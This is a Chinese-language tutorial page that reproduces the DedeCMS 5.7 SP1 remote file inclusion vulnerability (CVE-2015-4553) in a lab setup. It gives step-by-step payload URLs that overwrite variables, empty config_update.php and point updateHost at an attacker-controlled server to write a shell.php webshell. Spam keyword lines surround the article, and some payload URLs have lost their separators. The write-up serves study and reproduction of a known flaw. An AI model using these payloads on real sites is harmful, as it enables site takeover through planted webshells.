婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > DedeCMS 5.7 sp1遠程文件包含漏洞(CVE-2015-4553)

DedeCMS 5.7 sp1遠程文件包含漏洞(CVE-2015-4553)

熱門標簽:北京外呼系統咨詢電話 地圖標注資源分享注冊 海南人工外呼系統哪家好 合肥阿里辦理400電話號 高德地圖標注公司位置需要錢嗎 怎么去掉地圖標注文字 廊坊地圖標注申請入口 襄陽外呼增值業務線路解決方案 慶陽外呼系統定制開發

一、漏洞描述

該漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符號使用不當,導致變量覆蓋,以至于最后引起遠程文件包含漏洞。

二、漏洞影響版本

DeDeCMS 5.7-sp1,包括5.7 sp1版本

三、漏洞環境搭建

1、下載DeDeCMS V5.7 SP1,然后放到phpstudy環境下的www目錄下,然后瀏覽器訪http://192.168.10.171/dedecms/uploads/install/index.php

  

2、點擊我已閱讀并繼續。然后是環境檢測,保存默認即可

  

3、接下來是參數配置,需要設置的只有數據庫密碼,把自己的密碼填上去就行了

  

4、然后就把環境搭好了

  

四、漏洞復現

1、查看/install/index.php源碼,發現存在變量覆蓋漏洞,該代碼的意思是將get,post或者cookie方式傳入的值通過foreach以鍵值對的方式輸出,例如在url中輸入?str=hello,則$_k的值就是str,$_v的值就是hello,所以${$_k}就是$str, 后面的RunMagicQuotes函數在另一個文件中定義的,大致就是對參數進行過濾然后返回參數內容。

  

  

2、嘗試通過變量覆蓋重裝網站,瀏覽器訪問

  

3、變量覆蓋后,直接進入安裝界面,但是由于安裝鎖的存在不能繼續重新安裝,除非刪除安裝鎖http://192.168.10.171/dedecms/uploads/install/index.php?insLockfile=1

  

4、只有變量覆蓋暫時還不夠,繼續瀏覽代碼,發現最后幾行代碼

  

4.1、這段代碼首先包含了/data/admin/config_update.php文件, 這里定義了變量updateHost

文件內容如下:

  

4.2、繼續看373-387行代碼,$updateHost與dedecms/demodata.{$a_lang}.txt拼接為字符串,并利用files_get_contents函數讀取demodata.{$s_lang}.txt文件內容,最后將該文件內容寫入到$install_demo_name參數中。

4.3、因此我們可以結合上面的變量覆蓋漏洞來進行遠程文件包含,直接寫webshell。

5、由于$updateHost變量是引入進來的,所以不能直接進行覆蓋,需要先將config_update.php文件清空再包含。

5.1、這時候可以利用fopen函數來實現,可以看到fopen中的參數是w,會直接重寫文件,而file_get_contents讀取文件失敗會返回NULL

  

5.2、然后利用fwrite函數,這里可以利用變量覆蓋,將$s_lang隨意取名成不存在的文件名, $install_demo_name指向”../data/admin/config_update.php”,為了程序能夠執行到這里,需要將$step設置為11,這樣就達到了清空config_update.php的目的。

構造payload: http://192.168.10.171/dedecms/uploads/install/index.php?

step=11s_lang=testinstall_demo_name=…/data/admin/config_update.php

瀏覽器訪問,提示如下

  

5.3、查看代碼,發現這里有一個判斷文件是否存在(也就是判斷網站是否安裝)的條件,通過變量覆蓋漏洞將$insLockfile構造成任意不存在的文件就可以繞過這個條件的限制

  

5.4、再次構造payload:

http://192.168.10.171/dedecms/uploads/install/index.php?step=11s_lang=testinsLockfile=testinstall_demo_name=../data/admin/config_update.php

  

5.5、此時可以看到config_update.php會發現已經變為0kb,空文件

  

5.6、config_update.php文件內容被清空之后,這時我們就可以控制updateHost參數了,這時我們就可以開始遠程文件包含上傳我們想要上傳的文件了

5.7、在kali上創建一個dedecms文件夾,然后創建一個demodata.gb2312.txt,寫入?php phpinfo();?> ,然后開啟web服務

  

5.8、再次構造payload, install_demo_name改為要上傳的路徑,updateHost改為遠程目標機的IP

Payload如下:

http://192.168.10.171/dedecms/uploads/install/index.php?step=11insLockfile=testinstall_demo_name=../shell.phpupdateHost=http://192.168.10.140/

瀏覽器訪問,出現界面說明寫入成功

  

5.9、查看是否上傳成功,確定上傳成功

  

6、瀏覽器訪問上傳的shell.php

  

總結

以上所述是小編給大家介紹的DedeCMS 5.7 sp1遠程文件包含漏洞(CVE-2015-4553),希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時回復大家的。在此也非常感謝大家對腳本之家網站的支持!
如果你覺得本文對你有幫助,歡迎轉載,煩請注明出處,謝謝!

您可能感興趣的文章:
  • Dedecms getip()的漏洞利用代碼
  • dedecms v5.1 WriteBookText() code injection vul注入漏洞

標簽:株洲 綿陽 平頂山 鎮江 哈密 商丘 臺州 鶴崗

巨人網絡通訊聲明:本文標題《DedeCMS 5.7 sp1遠程文件包含漏洞(CVE-2015-4553)》,本文關鍵詞  DedeCMS,5.7,sp1,遠程,文件,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《DedeCMS 5.7 sp1遠程文件包含漏洞(CVE-2015-4553)》相關的同類信息!
  • 本頁收集關于DedeCMS 5.7 sp1遠程文件包含漏洞(CVE-2015-4553)的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 上蔡县| 义马市| 东平县| 新绛县| 建昌县| 柯坪县| 东兰县| 西华县| 山西省| 怀来县| 澄城县| 和硕县| 大埔县| 田林县| 天气| 弥勒县| 邻水| 金昌市| 堆龙德庆县| 海丰县| 交城县| 瑞昌市| 玉溪市| 定兴县| 南京市| 池州市| 金湖县| 信阳市| 扶沟县| 乌拉特后旗| 得荣县| 桐梓县| 安化县| 朝阳市| 西吉县| 万源市| 股票| 靖宇县| 沅陵县| 腾冲县| 莫力|